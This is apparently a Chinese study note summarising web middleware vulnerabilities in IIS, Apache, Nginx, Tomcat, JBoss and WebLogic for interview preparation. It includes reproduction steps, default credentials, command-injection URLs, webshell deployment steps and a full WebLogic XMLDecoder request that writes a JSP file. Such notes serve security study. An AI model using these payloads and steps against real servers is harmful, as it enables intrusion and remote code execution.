web中间件常见漏洞总结
这个笔记会长期更新,方便面经,不过我就不会放大量图片和复现过程了。要用到的时候自己在网上查就行。
IIS
解析漏洞
IIS 6.x
1.基于文件名
该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。
另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,
2.基于文件夹名
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
IIS7.x
IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文件。
PUT任意文件写入
IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入。
IIS短文件漏洞
1.当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
2.当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
复现:
当访问构造的某个存在的短文件名,会返回404
当访问构造的某个不存在的短文件名,会返回400
局限:
- 如果文件名本身太短也是无法猜解的;
- 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
- 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
- 如果文件夹名前6位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报;
- 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测。
HTTP.SYS远程代码执行 (MS15-034)
影响范围:Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
复现:编辑请求头,增加Range: bytes=0-18446744073709551615
字段,若返回码状态为416 Requested Range Not Satisfiable
,则存在HTTP.SYS
远程代码执行漏洞
然后用msf就行了
RCE-CVE-2017-7269(缓冲区溢出
影响范围:
在Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0并开启WebDAV扩展。
这个直接在网上搜exp吧
Apache
解析漏洞
未知扩展名解析漏洞
Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在默mime.types文件内)则继续向左识别,直到识别到合法后缀才进行解析。
复现:访问phpinfo.php.xxx
AddHandler导致的解析漏洞
如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。
ApacheHTTPD换行解析漏洞(CVE-2017-15715)
影响范围:2.4.0~2.4.29版本
环境:phpstudy2014Apache+PHP5.4n
此漏洞形成的根本原因,在于正则表达式中不仅匹配字符串结尾位置,也可以匹配或
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
Nginx
Nginx配置文件错误导致的解析漏洞
对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
server {
location ~ \.php$ {
root /work/www/test;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/tmp/php-fpm.sock;
}
}
这个是常见的配置,这个是由配置错误导致的,与版本无关
Nginx空字节任意代码执行漏洞
影响版本:Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37
比如说上传了一个图片,图片内容是phpinfo
然后访问图片的时候抓包,改成info.jpg..php在hex中吧.
改成00
Nginx文件名逻辑漏洞CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
值得注意的是,windows是不允许文件名存在空格的,所以没有这个漏洞。
比如说上传了一个图片,图片内容是phpinfo
图片名字命名为info.jpg
后面要加个空格
然后访问的时候访问info.jpg
抓包,改成info.jpg...php
,然后把后面两个点改成20和00
Nginx配置错误导致的安全问题
目录穿越
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞
如下:
修复:只需要保证location和alias的值都有后缀/或都没有/这个后缀。
目录遍历
当Nginx配置文件中,autoindex 的值为on时,将造成一个目录遍历漏洞。
Tomcat
Tomcat任意文件写入(cve-2017-12615)
漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:
环境:Tomcat/8.0.30
复现
Tomcat远程代码执行(CVE-2019-0232)
影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影响系统: Windows
在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建lxhsec.bat文件,内容任意。
访问http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir
执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+use
Tomcat+弱口令&&后台getshell
环境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用户的权限:
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击
访问 http://127.0.0.1:8080/manager/html ,输入弱密码tomcat:tomcat,登陆后台
生成war包:
jar -cvf lxhspy.war lxhspy.jsp
部署后,访问 http://127.0.0.1:8080/war包名/包名内文件名, 如下。
Jboss
JBoss 5.x/6.x反序列化漏洞CVE-2017-12149
访问 /invoker/readonly
返回500,说明页面存在,此页面存在反序列化漏洞。
然后直接用工具打
JBoss JMXlnvokerServlet 反序列化漏洞
访问 /invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
然后也直接用工具打
JBoss EJBInvokerServlet 反序列化漏洞
访问 /invoker/EJBInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
JBoss <=4.x JBossMQJMS反序列化漏洞 CVE-2017-7504
环境:jboss-4.2.3
设置外网访问:
在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml
将address=”${jboss.bind.address} 改为:address=”0.0.0.0”, 重启Jboss
<Connector port="8080" address="${jboss.bind.address}"
maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true" protocol="HTTP/1.1"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimeout="true" />
访问/jbossmq-httpil/HTTPServerILServlet,
返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。
弱口令Administration Console
Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。
JMX Console未授权访问
JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。
进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。
WebLogic
XMLDecoder反序列化漏洞(CVE-2017-10271 & CVE-2017-3506
访问 /wls-wsat/CoordinatorPortType
返回如下页面,则可能存在此漏洞。
更多payload
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
写入数据包如下
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 629
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Weblogic wls9_async_response,wls-wsat反序列化 CVE-2019-2725
影响组件:bea_wls9_async_response.war, wls-wsat.war
影响版本:10.3.6.0, 12.1.3.0
Weblogic WLS Core Components反序列化CVE-2018-2628
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
这个只能用工具复现了
Weblogic任意文件上传CVE-2018-2894
Weblogic Web Service Test Page
中一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。
影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3
访问 ws_utc/config.do
,设置Work Home Dir
为ws_utc
应用的静态文件css
目录C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css
,
因为访问这个目录是无需权限的,提交后,点击左侧 安全-> 添加,然后上传Webshell
。
点击提交并抓包,获取响应数据包中的时间戳。
然后访问 http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,即可执行webshell:
Weblogic SSRF漏洞CVE-2014-4210
影响版本:10.0.2.0, 10.3.6.0
访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下
点击Search,并抓包,抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET。
参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回`error code 若开放端口为HTTP协议,则会返回
did not have a valid SOAP content-type。 访问不存在的端口,将返回
could not connect over HTTP to server`
弱口令&&后台shell
访问http://127.0.0.1:7001/console
自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台。
然后上传war包就行
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。